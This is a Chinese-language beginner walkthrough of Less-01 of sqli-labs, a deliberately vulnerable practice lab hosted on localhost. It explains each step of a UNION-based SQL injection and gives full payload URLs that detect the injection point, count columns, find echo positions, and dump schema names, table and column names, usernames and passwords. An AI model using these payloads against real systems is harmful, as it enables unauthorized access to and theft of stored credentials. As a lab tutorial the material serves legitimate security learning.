sqli-labs第一关详解 纯新手向 含原理

Less-01

为方便初学者理解,更改了sqli-labs的源码,以显示sql语句
后期学习中需要自己推理

初始页面
sqli-labs第一关详解 纯新手向 含原理_第1张图片

在url后面用get传值id=1,随后能看到网页出现变化
如下图
sqli-labs第一关详解 纯新手向 含原理_第2张图片

不断更改上传id的值,会有不同的用户信息显示。 按递增顺序直到14为止, 即(1~14)

判断注入点是否存在且能否使用

一般使用单引号进行判断,加到url后面
sqli-labs第一关详解 纯新手向 含原理_第3张图片

出现报错 内容大致为LIMIT0,1附近有语法错误。

为什么要使用单引号进行判断

实际上,我们可以看到sql语句为

SELECT * FROM users WHERE id=‘1’’ LIMIT 0,1

因为在1的右边多出了一个单引号,也就时我们注入了一个单引号
原本为SELECT * FROM users WHERE id=‘1’ LIMIT 0,1
然后进行下一步的操作,老三样or 1=1 and 1=1 and 1=2
因为1=1为恒真,且前面的id='1’也为真 所以or 1=1 和 and 1=1并没有出现什么异常
但是and 1=2,因为1=2为假,所以原本id=1的用户信息不见了
sqli-labs第一关详解 纯新手向 含原理_第4张图片

说明存在注入点。

limit作用

sqli-labs第一关详解 纯新手向 含原理_第5张图片

猜字段数

随后可以使用order by进行判断,有几列信息(字段数)

http://localhost/sqli-labs/Less-1/?id=1’ order by 3 --+

url最后的- -+用来注释掉后面的limit0,1
从1开始直到4,发现3的时候没异常,但是4的时候报错,说明没有第四个字段即没有第四列
sqli-labs第一关详解 纯新手向 含原理_第6张图片

sqli-labs第一关详解 纯新手向 含原理_第7张图片

原理

打开MySQL,对存放这些用户信息的表依次使用order by 1(2,3)
如图、发现order by的作用是对第N列进行排序 ,因为一共有3列,所以order by 4时会报错
sqli-labs第一关详解 纯新手向 含原理_第8张图片
sqli-labs第一关详解 纯新手向 含原理_第9张图片

继续操作 使用联合查询找出回显点

union select判断回显

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,2,3 --+

构造sql语句SELECT * FROM users WHERE id=‘16’ union select 1,2,3 --+ ’ LIMIT 0,1
发现页面回显2,3出现在页面上,所以可以对2,3所在位置加以利用。
sqli-labs第一关详解 纯新手向 含原理_第10张图片

原理

在MySQL中对存放用户信息的表进行union select 1,2,3。改变前面id的值,对比结果。
sqli-labs第一关详解 纯新手向 含原理_第11张图片
然后对union select找出的回显点进行利用,来获得目标信息。

爆数据库库名,表名,字段名,用户名,密码,MySQL版本信息

version()函数MySQL数据库版本,user()为当前用户名
在原本2的位置改为version(),3的位置写入user()

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,version(), user() --+

如图 页面回显了MySQL的版本信息,当前用户的用户名

sqli-labs第一关详解 纯新手向 含原理_第12张图片

爆数据库名

MySQL数据库名都在这个information_schema库下的schemata表中

用这个sql语句能爆出库名

select schema_name from information_schema.schemata;

sqli-labs第一关详解 纯新手向 含原理_第13张图片
构造语句

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,2, schema_name from information_schema.schemata limit 0,1 --+

sqli-labs第一关详解 纯新手向 含原理_第14张图片
sqli-labs第一关详解 纯新手向 含原理_第15张图片
sqli-labs第一关详解 纯新手向 含原理_第16张图片
sqli-labs第一关详解 纯新手向 含原理_第17张图片

按以上limit提取数据库名有点繁琐,可以使用group_concat()函数,将所有数据合并为一个字段一并取出

构造语句

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,database(), group_concat(schema_name) from information_schema.schemata --+

database()是当前使用的数据库名,后面group_concat(schema_name) from information_schema.schemata --+为用户所有的数据库名

sqli-labs第一关详解 纯新手向 含原理_第18张图片
爆表名
MySQL数据库中表名都在这个information_schema库下的tables表中
当前使用的数据库为Security
然后构造语句爆出该库下所有的表名

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,database(), group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+

sqli-labs第一关详解 纯新手向 含原理_第19张图片

爆字段名
MySQL数据库中字段名都在这个information_schema库下的columns表中
构造语句

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,database(), group_concat(column_name) from information_schema.columns where table_name=‘users’ --+

sqli-labs第一关详解 纯新手向 含原理_第20张图片
因为我本机的运行环境比较复杂,正常情况下只有三个字段名id,username和password

获取用户数据

获取用户名

至此,知道数据库名、表名和字段名,构造语句爆出用户名和密码

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,2 , group_concat(username) from security.users --+

sqli-labs第一关详解 纯新手向 含原理_第21张图片
获取密码

http://localhost/sqli-labs/Less-1/?id=16’ union select 1,2 , group_concat(password) from security.users --+

sqli-labs第一关详解 纯新手向 含原理_第22张图片

less-01结束

你可能感兴趣的:(sqli-labs第一关详解 纯新手向 含原理)